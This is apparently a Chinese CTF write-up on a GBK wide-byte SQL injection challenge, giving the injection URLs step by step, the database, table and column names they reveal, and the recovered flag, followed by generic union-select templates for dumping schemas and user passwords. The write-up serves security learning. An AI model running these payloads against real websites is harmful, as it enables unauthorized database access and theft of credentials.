手注爆库用户信息 题目来源NJUPT平台

#步骤

题目来自NJUPT平台 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
1.id=2 得到Tips:gbk_sql_injection宽字节注入
2.id=%df%27 or 1 = 1%23 your sql:select id,title from news where id = ‘運’ or 1 = 1#’
3.
id=%df%27 union select 1,database() from news%23爆出库名 sae-chinalover/
id=%df%27 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1--+%23也可以 然后sae-chinalover十六进制转换为 0x7361652D6368696E616C6F766572
4.id=%df%27 and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x7361652D6368696E616C6F766572%23
爆出表名 ctf,ctf2,ctf3,ctf4,news
十六进制转换分别为0x6374660x637466320x637466330x637466340x6E657773
5.id=%df%27 and 1=2 union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x637466%23/0x63746632/0x63746633/0x63746634/0x6E657773最后在表ctf4中得到flag字段
6.
id=%df%27 and 1=2 union select 1,group_concate(flag) from ctf4得到Flag:nctf{gbk_3sqli}

#相关参考:
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

#整理:

1.比起limit挨个移位暴破 可以使用group_concat()函数一起显示 但是有长度限制。可能显示不全。
2.存有Flag的数据库的结构暂存在主体的数据库里 通过information_schema.SCHAMATA/TABLES/COLUMNS(数据库/数据表/字节)跨库访问
3.注意前后的字段数量必须相同,如题中存在id和title俩个字段,则构造时select后也跟俩个值,且注意俩个值的顺序-只爆出第二个值